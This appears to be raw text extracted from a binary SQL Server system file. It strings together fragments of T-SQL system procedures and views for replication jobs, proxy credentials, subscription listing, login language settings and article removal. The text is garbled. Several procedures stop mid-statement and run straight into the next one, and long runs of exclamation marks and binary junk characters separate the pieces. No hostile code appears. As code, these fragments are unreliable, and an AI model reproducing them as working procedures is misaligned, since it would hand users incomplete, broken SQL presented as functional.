					AND NOT EXISTS(SELECT *
									FROM msdb.dbo.sysjobschedules
									WHERE schedule_id = @schedule_id)
				BEGIN
					EXEC @retcode = msdb.dbo.sp_delete_schedule @schedule_id = @schedule_id
					IF @@ERROR <> 0 OR @retcode <> 0
						GOTO FAILURE
				END
				
				FETCH #repl_jobschedules INTO @schedule_id, @temp_sched_name
			END

			CLOSE #repl_jobschedules
			DEALLOCATE #repl_jobschedules
		END
		-- else if the job schedule already exists then update it
		ELSE IF EXISTS(SELECT sjs.schedule_id,
							sss.name
						FROM msdb.dbo.sysjobschedules sjs
							JOIN msdb.dbo.sysschedules sss
								ON sjs.schedule_id = sss.schedule_id
						WHERE job_id = @id)
		BEGIN
			EXEC @retcode = msdb.dbo.sp_update_jobschedule @job_id					= @id,
															@name					= @schedule_name,
															@freq_type				= @frequency_type,
															@freq_interval			= @frequency_interval,
															@freq_subday_type		= @frequency_subday,
															@freq_subday_interval	= @frequency_subday_interval,
															@freq_relative_interval = @frequency_relative_interval,
															@freq_recurrence_factor = @frequency_recurrence_factor,
															@active_start_date		= @active_start_date,
															@active_end_date		= @active_end_date,
															@active_start_time		= @active_start_time_of_day,
															@active_end_time		= @active_end_time_of_day
			IF @@error <> 0 OR @retcode <> 0
				GOTO FAILURE	
		END
		-- else we will add the job schedule
		ELSE
		BEGIN
			EXEC @retcode = msdb.dbo.sp_add_jobschedule @job_id                 = @id,
												        @name                   = @schedule_name,
												        @enabled                = 1,
												        @freq_type              = @frequency_type,
												        @freq_interval          = @frequency_interval,
												        @freq_subday_type       = @frequency_subday,
												        @freq_subday_interval   = @frequency_subday_interval,
												        @freq_relative_interval = @frequency_relative_interval,
												        @freq_recurrence_factor = @frequency_recurrence_factor,
												        @active_start_date      = @active_start_date,
												        @active_end_date        = @active_end_date,
												        @active_start_time      = @active_start_time_of_day,
												        @active_end_time        = @active_end_time_of_day
								        
    		IF @@error <> 0 OR @retcode <> 0
				GOTO FAILURE		
		END
	END

    IF @proxy_id IS NOT NULL
    BEGIN

		SELECT @step_id = step_id
			FROM msdb.dbo.sysjobsteps
			WHERE step_uid = @step_uid

        EXEC @retcode = msdb..sp_update_jobstep @job_id = @id,
	        										@step_id = @step_id,
	        										@proxy_id = @proxy_id
		IF @@ERROR <> 0 or @retcode <> 0
            goto FAILURE

    END
    
	-- modify the jobstep proxy account if it was provided
	IF @login IS NOT NULL
		OR @password IS NOT NULL
	BEGIN
		-- retrieve the credential and identity
		SELECT @credential = sc.name, 
				@identity = sc.credential_identity
			FROM msdb.dbo.sysjobs_view as sjv 
				JOIN msdb.dbo.sysjobsteps as sjs 
					ON sjv.job_id = sjs.job_id
				JOIN msdb.dbo.sysproxies sp
					ON sjs.proxy_id = sp.proxy_id
				JOIN sys.credentials sc
					ON sp.credential_id = sc.credential_id
			WHERE sjv.master_server = 0
				AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				AND sjs.step_uid = @step_uid

		-- if @credential is not null then that means the proxy account already 
		-- exists and we should be able to just update the value of the account
		IF @credential IS NOT NULL
		BEGIN
			-- change of login name
			IF @login IS NOT NULL
			BEGIN
				SELECT @password = ISNULL(@password, N'')
				
				SELECT @command = 'ALTER CREDENTIAL ' + QUOTENAME(@credential) +
									' WITH IDENTITY = ' + QUOTENAME(@login, '''') +
									', SECRET = ' + QUOTENAME(@password, '''')
					
				EXEC(@command)
				IF @@error <> 0
					GOTO FAILURE
			END
			-- change of password only
			ELSE IF @password IS NOT NULL
			BEGIN
				SELECT @command = 'ALTER CREDENTIAL ' + QUOTENAME(@credential) +
										' WITH IDENTITY = ' + QUOTENAME(@identity, '''') +
										', SECRET = ' + QUOTENAME(@password, '''')
										
				EXEC(@command)
				IF @@error <> 0
					GOTO FAILURE
			END
		END
		-- this means we are coming from an upgrade scenario and the proxy account has never 
		-- been added before. we will add the proxy account and associate it to the job
		ELSE
		BEGIN
			SELECT @step_id = step_id,
					@subsystem = subsystem,
					@proxy_id = 0
				FROM msdb.dbo.sysjobsteps
				WHERE step_uid = @step_uid

			SELECT @name = ISNULL(@name, name),
					@owner_login_name = SUSER_SNAME(owner_sid)
				FROM msdb.dbo.sysjobs
				WHERE job!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Iavqcreate procedure sys.sp_MSreplcheck_pull
(
    @publication sysname= NULL,
    @raise_fatal_error bit = 1,
    @pubid uniqueidentifier = NULL,
    @given_login sysname = NULL,
    @publisher sysname = NULL
)
as
begin
    declare @login sysname
                ,@dbname sysname
                ,@retcode int
                ,@err_level int
                ,@tranpubid int
                ,@publisher_type sysname
                
    --
    -- Special processing if explicit login was not provided
    --
    if @given_login is null 
    begin
        --
        -- explict login not provided
        -- sysadmin or db_owner have access
        --
        if (is_srvrolemember('sysadmin') = 1 or is_member('db_owner') = 1)
            return (0)
    end
    --
    -- Get the current login
    -- NOTE: why is user_name() not being used
    --
    select @login = suser_sname(suser_sid())
    --
    -- Special processing if explicit login was provided
    --
    if (@given_login is not null) 
    begin
        --
        -- More special processing
        --
        if (@login = @given_login)
        begin
            --
            -- given login is same as current login
            -- sysadmin or db_owner have access
            --
            if (is_srvrolemember('sysadmin') = 1 or is_member('db_owner') = 1)
                return (0)
        end
        else
        begin
            --
            -- To determine whether another login has access to a publication
            -- requires current user to be db_owner in the publishing database
            --
            if is_member('db_owner') <> 1
            begin
                raiserror (21050, 16, -1)
                return (1)
            end
            --
            -- given login is not same as current login
            -- if given login is sysadmin or db_owner member then it has access
            --
            if (is_srvrolemember('sysadmin', @given_login) = 1 or sys.fn_isrolemember(1, @given_login, NULL) = 1)
                return (0)
            select @login = @given_login
        end
    end
    --
    -- initialize
    --
    if (@publisher is null)
        select @publisher = publishingservername()
    if (@publication is not null)
    begin
        select @pubid = NULL
        if object_id('dbo.syspublications') is not null
        begin
            --
            -- get the publisher type
            --
            EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
                                                    			@publisher_type = @publisher_type OUTPUT
            IF @@error <> 0
            BEGIN
                 RAISERROR (14071, 16, -1)
                 return (1)
            END
            --
            -- get the pubid
            --
            SELECT @tranpubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)
        end
        if object_id('dbo.sysmergepublications') is not null
            select @pubid = pubid from sysmergepublications where name = @publication and upper(publisher) = upper(@publisher)
        if (@tranpubid is null and @pubid is null)
        begin
            raiserror(20026, 16, -1, @publication)
            return 1
        end
    end
    else if (@pubid is not null)
    begin
        select @publication = NULL
        if object_id('dbo.sysmergepublications') is not null
            select @publication = name from sysmergepublications where pubid = @pubid and upper(publisher) = upper(@publisher)
        if (@publication is null)
        begin
            raiserror(21723, 16, -1, 'sp_MSreplcheck_pull')
            return 1
        end
    end
    --
    -- check the PAL roles
    --
    if (@tranpubid is null and @pubid is null)
    begin
        declare @lrpc nvarchar(400)
                    ,@hasaccess int
        --
        -- generic check
        -- user must be member of any existing PAL roles
        -- check the current database first
        --
        if (sys.fn_isrolemember(0, @login, NULL) = 1)
        begin
            --
            -- has access
            --
            return 0
        end
        else
        begin
            --
            -- check the other publishing dbs
            --
            declare #hcpubdb cursor local fast_forward for
            select  name
            from master.dbo.sysdatabases 
            where has_dbaccess(name) = 1
                and ((category & 1 != 0)  or (category & 4 != 0))
                and name != db_name()
                and name not in
                        (
                        N'master' COLLATE DATABASE_DEFAULT,
                        N'tempdb' COLLATE DATABASE_DEFAULT,
                        N'msdb'   COLLATE DATABASE_DEFAULT,
                        N'model'   COLLATE DATABASE_DEFAULT
                        )
                and sys.fn_MSrepl_isdistdb (name) = 0
            for read only

            open #hcpubdb
            fetch #hcpubdb into @dbname
            while (@@fetch_status <> -1)
            begin
                --
                -- Check if the user is PAL member in this db
                --
                select @hasaccess = 0
                        ,@lrpc = quotename(@dbname) + '.sys.sp_MScheck_palroleinpubdb'
                exec @retcode = @lrpc @login, @hasaccess output
                if (@retcode != 0 or @@error != 0)
                begin
                    return 1
                end
                if (@hasaccess = 1)
                begin
                    --
                    -- has access
                    --
                    return 0
                end
                --
                -- get next publishing db
                --
                fetch #hcpubdb into @dbname
            end
            close #hcpubdb
            deallocate #hcpubdb
            --
            -- if we have reached here 
            -- it mean the user has is not PAL member of any publication in this server
            --
            goto error
        end
    end
    else if (@pubid is not null)
    begin
        if @given_login is not NULL
        begin
            -- check if the given login is a member of the specific merge publication's pal role
            declare @role sysname
            declare @pubidstr nvarchar(40)
            
            exec sys.sp_MSguidtostr @pubid, @pubidstr output
            set @role = 'MSmerge_' + @pubidstr
            
            if exists (select * from sys.database_role_members
                where role_principal_id in (select principal_id 
                                                 from sys.database_principals 
                                                 where name = @role)
                    and member_principal_id = (select dp.principal_id
                                                    from sys.database_principals as dp join master.dbo.syslogins as s
                                                    on dp.sid = s.sid
                                                    and s.name = @given_login))
                -- has access
                return 0
        end
        else if (1 = {fn ISPALUSER(@pubid)})
        begin
            --
            -- has access
            --
            return 0
        end
    end
    else
    begin
        --
        -- check for specific transactional publication
        -- the user must be member of specific PAL role
        --
        if (sys.fn_isrolemember(2, @login, @tranpubid) = 1)
        begin
            --
            -- has access
            --
            return 0
        end
    end
    --
    -- if we reach here, we don't have access. Return error
    --
error:
    select @err_level = case when (@raise_fatal_error = 1) then 14 else 10 end
    IF @publication IS NOT NULL
        RAISE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(~4v.
create  procedure sys.sp_MSenumsubscriptions
(
    @subscription_type    nvarchar(5) = N'push',
    @publisher        sysname = N'%',
    @publisher_db     sysname = N'%',
    @reserved bit = 0  -- not to be documented used by UI and sp_MSenumallsubscriptions
)
AS
begin
    set nocount on

    declare @dbname                    sysname
                ,@category                 int
                ,@proc                    nvarchar(200)
                ,@retcode                int
                ,@cur_db                    sysname
                ,@type_value                int
                ,@subscriptiontype_anon    int

    -- Security check.  If not 'db_owner' return without querying
    if is_member('db_owner') <> 1
        return(0)
    select @subscriptiontype_anon= 2
            ,@cur_db = db_name()
            ,@type_value = case 
                    when (LOWER(@subscription_type)=N'push') then 0
                    when (LOWER(@subscription_type)=N'pull') then 1
                    when (LOWER(@subscription_type)=N'both') then 2
                    else 100 end
    --
    -- If we are being invoked by sp_MSenumallsubscriptions
    -- we can skip creation of the temp table, for other cases
    -- create the temp table
    --
    if (@reserved = 0)
    begin
        create table #tmp_subscriptions (
                        publisher            sysname not null,
                        publisher_db        sysname not null,
                        publication            sysname null,
                        replication_type    int not NULL,
                        subscription_type    int not NULL,
                        last_updated        datetime null,
                        subscriber_db        sysname not null,
                        update_mode            smallint null,
                        last_sync_status    int null,
                        last_sync_summary    sysname null,
                        last_sync_time        datetime null
                        )
    end

    if object_id(N'dbo.sysmergesubscriptions') is not NULL
    begin
        -- return all subscriptions that this database is a subscriber to
        -- suppress all subscriptions that originate from this database.
        insert into #tmp_subscriptions 
        select p.publisher
                ,p.publisher_db
                ,p.name
                ,2
                ,s.subscription_type
                ,s.last_sync_date
                ,s.db_name
                ,cast(NULL as smallint)
                ,s.last_sync_status
                ,s.last_sync_summary
                ,s.last_sync_date
            from dbo.sysmergepublications as p
                join dbo.sysmergesubscriptions as s 
                    on p.pubid = s.pubid
                        and s.pubid <> s.subid
						and lower(s.subscriber_server) collate database_default = lower(@@servername) collate database_default 
            where  (s.subscription_type=@type_value OR @type_value=2) 
                and ((@publisher = N'%') or (p.publisher = @publisher))
                and ((@publisher_db = N'%') or ( p.publisher_db = @publisher_db))
                and s.db_name = @cur_db
                and p.pubid not in 
                (select pubid from dbo.sysmergepublications pubs where 
                    lower(pubs.publisher) = LOWER(publishingservername()) AND
                    pubs.publisher_db = @cur_db)
    end

    if object_id(N'dbo.MSreplication_subscriptions') is not NULL
    begin
        if object_id(N'dbo.MSsubscription_properties') is not NULL and
            object_id(N'dbo.MSsubscription_agents') is not NULL
        begin
            -- update_mode in MSreplication_subscriptions table is not reliable.
            insert into #tmp_subscriptions 
            select s.publisher
                    ,s.publisher_db
                    ,s.publication
                    ,case isnull(p.publication_type,0) when 0 then 0 else 1 end
                    ,s.subscription_type
                    ,s.time
                    ,@cur_db 
                    -- NOTE: For Queued case: we will always return 2/3 for the 4/5 case
                    -- since we overload update_mode based on queue_type
                    ,case when isnull(a.update_mode,0) = 4 then 2
                            when isnull(a.update_mode,0) = 5 then 3
                            else isnull(a.update_mode,0) end
                    ,a.last_sync_status
                    ,a.last_sync_summary
                    ,a.last_sync_time
            from dbo.MSreplication_subscriptions s with (NOLOCK) 
                left outer join dbo.MSsubscription_agents a with (NOLOCK) 
                    on (UPPER(s.publisher) = UPPER(a.publisher) and 
                        s.publisher_db = a.publisher_db and 
                        ((s.publication = a.publication and 
                        s.independent_agent = 1 and
                        a.publication <> N'ALL') or
                        (a.publication = N'ALL' and s.independent_agent = 0)) and
                        s.subscription_type = a.subscription_type)
                left outer join dbo.MSsubscription_properties p with (NOLOCK)
                    on (UPPER(s.publisher) = UPPER(p.publisher) and 
                        s.publisher_db = p.publisher_db and 
                        s.publication = p.publication and
                        -- don't use property table for push. 
                        s.subscription_type <> 0) 
                where
                    ((@publisher = N'%') OR (UPPER(s.publisher) = UPPER(@publisher))) AND
                    ((@publisher_db = N'%') or ( s.publisher_db = @publisher_db)) and
                    -- eliminate duplicate entries for agents using multiple subscription streams
                    s.transaction_timestamp = (SELECT MAX(t.transaction_timestamp) FROM dbo.MSreplication_subscriptions t
                                                            WHERE t.publisher = s.publisher
                                                                AND t.publisher_db = s.publisher_db
                                                                AND t.publication = s.publication) and
                    ((s.subscription_type = 0 and @type_value = 0) or
                    -- For pull, return both pull and anonymous
                    (s.subscription_type <> 0 and @type_value = 1) or
                    @type_value = 2) 
        end
        -- Property table does not exists.
        else if object_id(N'dbo.MSsubscription_agents') is not NULL
        begin
            -- update_mode in MSreplication_subscriptions table is not reliable.
            insert into #tmp_subscriptions 
            select s.publisher
                    ,s.publisher_db
                    ,s.publication
                    -- Property table does not exists. Say transactional.
                    ,0
                    ,s.subscription_type
                    ,s.time, @cur_db
                    -- NOTE: For Queued case: we will always return 2/3 for the 4/5 case
                    -- since we overload update_mode based on queue_type
                    ,case when isnull(a.update_mode,0) = 4 then 2
                            when isnull(a.update_mode,0) = 5 then 3
                            else isnull(a.update_mode,0) end
                    ,a.last_sync_status
                    ,a.last_sync_summary
                    ,a.last_sync_time
            from dbo.MSreplication_subscriptions s with (NOLOCK) 
                left outer join dbo.MSsubscription_agents a with (NOLOCK) 
                    on (UPPER(s.publisher) = UPPER(a.publisher) and 
                        s.publisher_db = a.publisher_db and 
                        ((s.publication = a.publication and 
                        s.independent_agent = 1 and
                 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<L
x40p'@ p8create view sys.trace_events as select * from OpenRowset(TABLE SYSTRACEEVENTS)
0iS	 8create function sys.fn_EnumCurrentPrincipals()
RETURNS @mirrorinstances TABLE
(
	db_name						sysname,
	current_principal			sysname,
	mirroring_role				int NULL,
	mirroring_state				int NULL
)
as 
begin
insert into @mirrorinstances  
select databases.name as db_name, 
	sys.fn_GetCurrentPrincipal(databases.name) as current_principal,
	db_mirroring.mirroring_role as mirroring_role,
	db_mirroring.mirroring_state as mirroring_state
	from sys.database_mirroring db_mirroring, sys.databases databases where 
	db_mirroring.database_id = databases.database_id
	and (databases.is_published = 1 or databases.is_merge_published = 1)
	and db_mirroring.mirroring_role is NOT NULL
return 
end
0 d8CREATE PROCEDURE sys.sp_MSrepladdproxyaccount
(
	@job_name			sysname,
	@owner_login_name	sysname,
	@subsystem			sysname,
	@job_login			nvarchar(257) = NULL,
	@job_password		sysname = NULL,
	@proxy_id			int = NULL OUTPUT
)
AS
BEGIN
	DECLARE @retval					int,
			@create_credential_ddl	nvarchar(4000),
			@proxy_credential_name	sysname,
			@maxpartlen				int,
			@count					int,
			@count_str				sysname

	-- Verify that the subsystem to be modified is a repl job
	IF @subsystem NOT IN (N'Distribution',
							N'Merge',
							N'LogReader',
							N'Snapshot',
							N'QueueReader')
	BEGIN
		-- Only replication jobs or job schedules can be added, modified or dropped via replication stored procedures.
		RAISERROR(22538, 16, -1)
		RETURN 1
	END

	-- ensure that job login was provided
    IF @job_login IS NULL
    BEGIN
        -- MSG : not localized because it is only for DEVs using this proc
        RAISERROR('@job_login must be a non-null/non-empty value.', 16, -1)
        RETURN 1
    END

	BEGIN TRANSACTION tr_MSrepladdproxyaccount
	SAVE TRANSACTION tr_MSrepladdproxyaccount

	-- get an applock to avoid failures from another
	-- repl user creating the same credential name.
	-- exit if it takes longer than 30 seconds....
	EXEC @retval = sys.sp_getapplock @Resource = 'Create_Repl_Credential', 
                                    @LockMode = 'Exclusive', 
                                    @LockOwner = 'Transaction',
                                    @LockTimeout = -1, -- infinite
                                    @DbPrincipal = N'db_owner'
    IF @@ERROR <> 0 or @retval < 0
		GOTO FAILURE
    
    -- set the password to empty string if it
    -- is NULL and the job_login was specified
    -- ALTER will complain with NULL password
    SELECT @job_password = ISNULL(@job_password, N'')

	-- @proxy_credential_name will be [REPL][JOBLOGIN][JOBNAME].ID
	--  	extra char count 	= [REPL][][] 							= 10
	--		JOBLOGIN max len 	= (len(sysname) - (extra char count))/2 = (128 - 10)/2
	--		JOBNAME max len 	= (len(sysname) - (extra char count))/2 = (128 - 10)/2
	SELECT @count = 0,
			@maxpartlen = 59,
			@proxy_credential_name = '[REPL][' + substring(@job_login, 1, @maxpartlen) + ']'  
										+ '[' + substring(@job_name, 1, @maxpartlen) + ']'
	
    WHILE EXISTS(SELECT name
        			FROM sys.credentials
        			WHERE name = @proxy_credential_name)
        	
		OR EXISTS(SELECT name
        			FROM msdb.dbo.sysproxies
        			WHERE name = @proxy_credential_name)
    BEGIN
        -- here we tack on an incremented id because we have a name collision
        --
   		-- @proxy_credential_name will now be [REPL][JOBLOGIN][JOBNAME].ID
		--  	extra char count 	= [REPL][][]. + len(ID) 				= 11 + len(ID)
		--		JOBLOGIN max len 	= (len(sysname) - (extra char count))/2 = (128 - 11 - len(ID))/2
		--		JOBNAME max len 	= (len(sysname) - (extra char count))/2 = (128 - 11 - len(ID))/2
        SELECT @count = @count + 1,
				@count_str = cast(@count as nvarchar),
				@maxpartlen = (117 - len(@count_str))/2,
				@proxy_credential_name = '[REPL][' + substring(@job_login, 1, @maxpartlen) + ']'  
											+ '[' + substring(@job_name, 1, @maxpartlen) + '].' 
											+ @count_str
    END
    
    SELECT @create_credential_ddl = 'CREATE CREDENTIAL ' + QUOTENAME(@proxy_credential_name) + 
			        				' WITH IDENTITY = N''' + replace(@job_login, '''', '''''') + 
									''' , SECRET = ' + QUOTENAME(@job_password, '''')
	EXEC(@create_credential_ddl)
	IF @@ERROR <> 0
		GOTO FAILURE

	-- create the proxy account and map to the specific replication job subsystem
	EXEC @retval = msdb.dbo.sp_add_proxy @proxy_name = @proxy_credential_name, 
								@credential_name = @proxy_credential_name, 
								@proxy_id = @proxy_id OUTPUT
	IF @@ERROR <> 0 or @retval <> 0
		GOTO FAILURE

	EXEC @retval = msdb.dbo.sp_grant_proxy_to_subsystem @subsystem_name = @subsystem, 
												@proxy_name = @proxy_credential_name
	IF @@ERROR <> 0 or @retval <> 0
		GOTO FAILURE

	IF ISNULL(IS_SRVROLEMEMBER('sysadmin', @owner_login_name), 0) = 0
	BEGIN
		EXEC @retval = msdb.dbo.sp_grant_login_to_proxy @proxy_name = @proxy_credential_name, 
												@login_name = @owner_login_name
		IF @@ERROR <> 0 or @retval <> 0
			GOTO FAILURE
	END
	
	-- we release the applock at this point because 
	-- the remaining steps will not be affected by
	-- any type of name collisions etc...
    EXEC @retval = sys.sp_releaseapplock @Resource = 'Create_Repl_Credential', 
					                            @LockOwner =  'Transaction',
					                            @DbPrincipal =  'db_owner'
    IF @@ERROR <> 0 or @retval <> 0
		GOTO FAILURE

	COMMIT TRANSACTION tr_MSrepladdproxyaccount
	
	RETURN 0
FAILURE:
	ROLLBACK TRANSACTION tr_MSrepladdproxyaccount
	COMMIT TRANSACTION
	
	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`h	<vX+&eT0s /8create procedure sys.sp_defaultlanguage
    @loginame sysname,			-- login name
    @language sysname = NULL	-- default language
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)
	declare @ret	int    -- return value of sp call

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_defaultlanguage')
		return (1)
	end

    -- VALIDATE LOGIN NAME:
	execute @ret = sys.sp_validname @loginame
	if (@ret <> 0)
        return (1)

	BEGIN TRANSACTION
		-- LOCK LOGIN --
	EXEC %%LocalLogin(Name = @loginame).Lock(Exclusive = 0)

    -- ADD ROW FOR NT LOGIN IF NEEDED --
	if @@error <> 0	-- not found
    begin
        execute @ret = sys.sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
	    begin
			ROLLBACK TRANSACTION
		    raiserror(15007,-1,-1,@loginame)
		    return (1)
	    end
		-- login locked
    end

	if (@language is null)
	begin
		select @language = name from master.dbo.syslanguages
		where langid = @@default_langid  --default language

		if @language is null
			select @language = N'us_english'
	end

    -- CHANGE DEFAULT LANGUAGE --
    set @exec_stmt = 'alter login ' + quotename(@loginame) +
				' with default_language = ' + quotename(@language)
    
    exec (@exec_stmt)

	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end
    
    COMMIT TRANSACTION

    -- RETURN SUCCESS --
	return (0) -- sp_defaultlanguage
0[p"@ 8create procedure sys.sp_MSreplicationagentjobcontrol (
    @job_id uniqueidentifier,
    @action tinyint
    )
as
begin
    set nocount on
    declare @retcode int
            ,@start tinyint
            ,@stop tinyint

    set @start = 0
    set @stop = 1
    set @retcode = 0

    if @action = @start
        exec @retcode = msdb.dbo.sp_start_job @job_id = @job_id
    else if @action = @stop
        exec @retcode = msdb.dbo.sp_stop_job @job_id = @job_id
    return @retcode
end
0!( B8
create procedure sys.sp_indexes_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@Name			sysname = NULL
)
as 
	select
		constraint_catalog		= s_iv.constraint_catalog, 
		constraint_schema		= s_iv.constraint_schema, 
		constraint_name		= s_iv.constraint_name,
		table_catalog			= s_iv.table_catalog,
		table_schema			= s_iv.table_schema,
		table_name			= s_iv.table_name,
		index_name 			= s_iv.index_name,
		type_desc			= s_iv.type_desc
from
	sys.spt_indexes_view_managed s_iv
where
	(s_iv.TABLE_CATALOG = @Catalog or (@Catalog is null)) and 
	(s_iv.TABLE_SCHEMA = @Owner or (@Owner is null)) and 
	(s_iv.TABLE_NAME = @Table or (@Table is null)) and 
	(s_iv.INDEX_NAME = @Name or (@Name is null))
order by table_name, index_name 
0 88{\0 T8create procedure sys.sp_MSareallcolpkcomputed 
(
    @tabid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin
    declare @isset int
                ,@isvalidcolumn tinyint
                ,@retcode int
                ,@this_col int

    select @retcode = 1
    if (@publishertype = 1)
    begin
        declare hCColid cursor local fast_forward for 
            select column_id from sys.columns where object_id = @tabid order by column_id asc
    end
    else if (@publishertype = 2)
    begin
        declare hCColid cursor local fast_forward for 
            select colid from IHsyscolumns where id = @tabid order by colorder asc
    end
    else
    begin
        raiserror(21402, 16, 1, '@publishertype')
        return @retcode
    end

    OPEN hCColid
    FETCH hCColid INTO @this_col
    WHILE (@@fetch_status <> -1)
    BEGIN
        exec @isset = sys.sp_MSiscolpk @tabid, @this_col, @publishertype
        if (@publishertype = 1)
            select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@tabid and @this_col=column_id and is_computed !=1) then 1 else 0 end
        else
            select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@tabid and @this_col=colid ) then 1 else 0 end
        if @isset = 1 and @isvalidcolumn = 1
        BEGIN 
            select @retcode = 0
            break
        END
        FETCH hCColid INTO @this_col
    END
    CLOSE hCColid
    DEALLOCATE hCColid

    return @retcode
end
0o@ 8CREATE view sys.dm_repl_articles
as
	SELECT 
		[artcache_db_address]
		,[artcache_table_address]
		,[artcache_schema_address]
		,[artcache_article_address]
		,[artid]
		,[artfilter]
		,[artobjid]
		,[artpubid]
		,[artstatus]
		,[arttype]
		,[wszArtdesttable]
		,[wszArtdesttableowner]
		,[wszArtinscmd]
		,[cmdTypeIns]
		,[wszArtdelcmd]
		,[cmdTypeDel]
		,[wszArtupdcmd]
		,[cmdTypeUpd]
		,[wszArtpartialupdcmd]
		,[cmdTypePartialUpd]
		,[numcol]
		,[artcmdtype]
		,[artgeninscmd]
		,[artgendelcmd]
		,[artgenupdcmd]
		,[artpartialupdcmd]
		,[artupdtxtcmd]
		,[artgenins2cmd]
		,[artgendel2cmd]
		,[fInReconcile]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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t `)

<X9.*0e@ 8 
-- add it
create view sys.dm_pdw_nodes_os_hosts as
select *, convert(int, null) pdw_node_id from sys.dm_os_hosts
0P a8CREATE PROCEDURE sys.sp_MSdrop_article
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @article sysname
)
as
begin
    set nocount on

    declare @publisher_id smallint
    declare @publication_id int
    declare @article_id int
    declare @retcode int
    declare @thirdparty_flag bit
    declare @immediate_sync bit

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Make sure publication exists
    select @publication_id = publication_id, @thirdparty_flag = thirdparty_flag,
        @immediate_sync = immediate_sync
        from dbo.MSpublications where 
        publication = @publication and
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db
